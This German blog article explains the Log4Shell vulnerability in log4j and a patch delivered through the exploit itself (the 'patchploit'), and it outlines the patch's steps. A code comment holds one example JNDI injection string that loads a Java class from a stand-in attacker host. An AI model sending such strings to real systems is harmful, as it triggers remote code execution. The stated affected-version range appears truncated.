Das Internet, Vernetzung, Sicherheitslücke, Log4Shell
Das Internet, Vernetzung, Sicherheitslücke, Log4Shell
Bildquelle: stori

Log4Shell Patch per Exploit (CVE-2021-44228 + CVE-2021-45046)

Sicherheitsforscher haben einen Log4Shell Patch bereitgestellt, der direkt per Exploit an die betroffenen Systeme ausgeliefert werden kann.

Die Sicherheitsforscher Free Wortley, Chris Thompson und Forrest Allison haben einen Log4Shell Patch bereitgestellt, der direkt per Exploit an die betroffenen Systeme ausgeliefert werden kann. Kurz gesagt, einen „Patchploit“.

Was ist Log4Shell?

Log4Shell ist eine Sicherheitslücke in dem sehr weiter verbreiteten Logging Framework log4j https://de.wikipedia.org/wiki/Log4j, welches in der Programmiersprache Java viele Entwickler verwenden. Betroffen sind die Versionen 2.0-beta9

Über Log4Shell kann man beliebigen Code im Zielsystem ausführen. Dieser wird von einem externen Server über JNDI nachgeladen. Dazu ist es lediglich nötig, dass der Angreifer eine gültige JNDI Zeichenkette von außen an das Logging Framework übergeben kann. Dies ist in der Regel sehr einfach, da man beim Loggen in der Regel den inneren Zustand der Anwendung verfolgen möchten und so eigentlich immer von außen eingegebene, relevante Parameter an log4j übergibt.

//Übergibt der Angreifer als Eingabe einen unbekannten Nutzer, wird dessen Name geloggt.
//Potenziell kann dieser dann auch eine JNDI-Zeichenkette übergeben
//zum Beispiel: ${jndi:ldap://boeser-hacker.com/a}
//Log4j würde nun von boeser-hacker.com/a eine beliebige Java-Klasse nachladen
log.warn("Benutzer {} unbekannt!", username);
Patchploit
GovCERT.ch: Angriffsmuster Log4Shell erklärt.

Wann ist der Log4Shell Patch per Exploit nützlich?

Wie oben erwähnt, setzt man das Logging Framework log4j beinahe überall in der Java-Welt ein. Das bedeutet auch, dass man viele Anwendungen darauf prüfen und patchen muss. Besonders im professionellen Umfeld bedeutet eine Änderung von Programmen immer auch eine Menge Arbeit. Beispielsweise gehört dazu das Testen der Anwendung. Aber auch das Identifizieren der aktuell eingesetzten Version erzeugt Aufwand. Mit dem Log4Shell Patch per Exploit lässt sich daher etwas Zeit gewinnen.

Wie funktioniert der Patchploit?

Die Sicherheitsforscher von LunaSec haben sich daher überlegt, dass man Log4Shell direkt über den Exploit selbst patchen könnte. Anstatt also Schadcode auszuliefern, sorgt der mitgelieferte Payload (Nutzlast) dafür, dass Log4Shell nicht mehr ausgenutzt werden kann, biss die Anwendung neu gestartet wird. Der dazugehörige Quellcode ist auf GitHub zum Download verfügbar.

Der bereitgestellte Patchploit sucht aktive log4j Konfigurationen. Weiterhin deaktiviert er die JNDI-Namensauflösung und verhindert damit zukünftige Exploits.

  1. Greife auf den ClassLoader des aktuellen Threads zu und suche die Klassen:
    • org.apache.logging.log4j.core.config.Configurator
    • org.apache.logging.log4j.core.impl.Log4jContextFactory
  2. Rufe Log4jContextFactory.getSelector(Configurator.getFactory()) auf
  3. Nimm alle LoggerContext Objekte mit ctxSelector.getLoggerContexts()
  4. Durchlaufe jeden LoggerContext und entferne den jndi-Eintrag in der Lookup-Map jedes Objekts

Fazit: Ist der Log4Shell Patch per Exploit eine gute Idee?

Erst einmal ist die Idee des Patchens von angreifbaren Systemen immer eine gute Idee. Aber ich würde unbedingt davon abraten, den Patch über den von LunaSec bereitgestellten JDNI-Server zu verteilen. Dazu sollte man unbedingt einen eigenen JNDI-Server aufsetzen. Ansonsten könnte man sich, sollte der Patchploit von LunaSec selbst oder durch einen externen Angreifer ausgetauscht werden, ganz schnell Schadcode einfangen!

FAQ

Was ist Log4Shell?

Log4Shell ist eine Sicherheitslücke in dem sehr weiter verbreiteten Logging Framework log4j https://de.wikipedia.org/wiki/Log4j, welches in der Programmiersprache Java viele Entwickler verwenden. Betroffen sind die Versionen 2.0-beta9

Wann ist der Log4Shell Patch per Exploit nützlich?

Immer dann, wenn für die betroffene Anwendung noch kein Patch vorhanden ist. Viele Bots verwenden Log4Shell schon, um Systeme automatisch anzugreifen.

Wie funktioniert der Patchploit?

Das Zielsystem wird per Log4Shell zur Codeausführung des Patchploits gebracht. Der Payload sucht anschließend aktive log4j Konfigurationen. Als nächstes deaktiviert er die JNDI-Namensauflösung und verhindert damit zukünftige Exploits.

Über

honeybee schreibt seit Ende 2020 für die Tarnkappe. Der Einstieg war ein Reverse Engineering Artikel über die Toniebox. Die Biene liebt es, Technik aller Art in ihre Bestandteile zu zerlegen. Schraubendreher und Lötkolben liegen immer in Reichweite. Themen wie Softwareentwicklung, Reverse Engineering, IT-Security und Hacking sind heiß geliebt.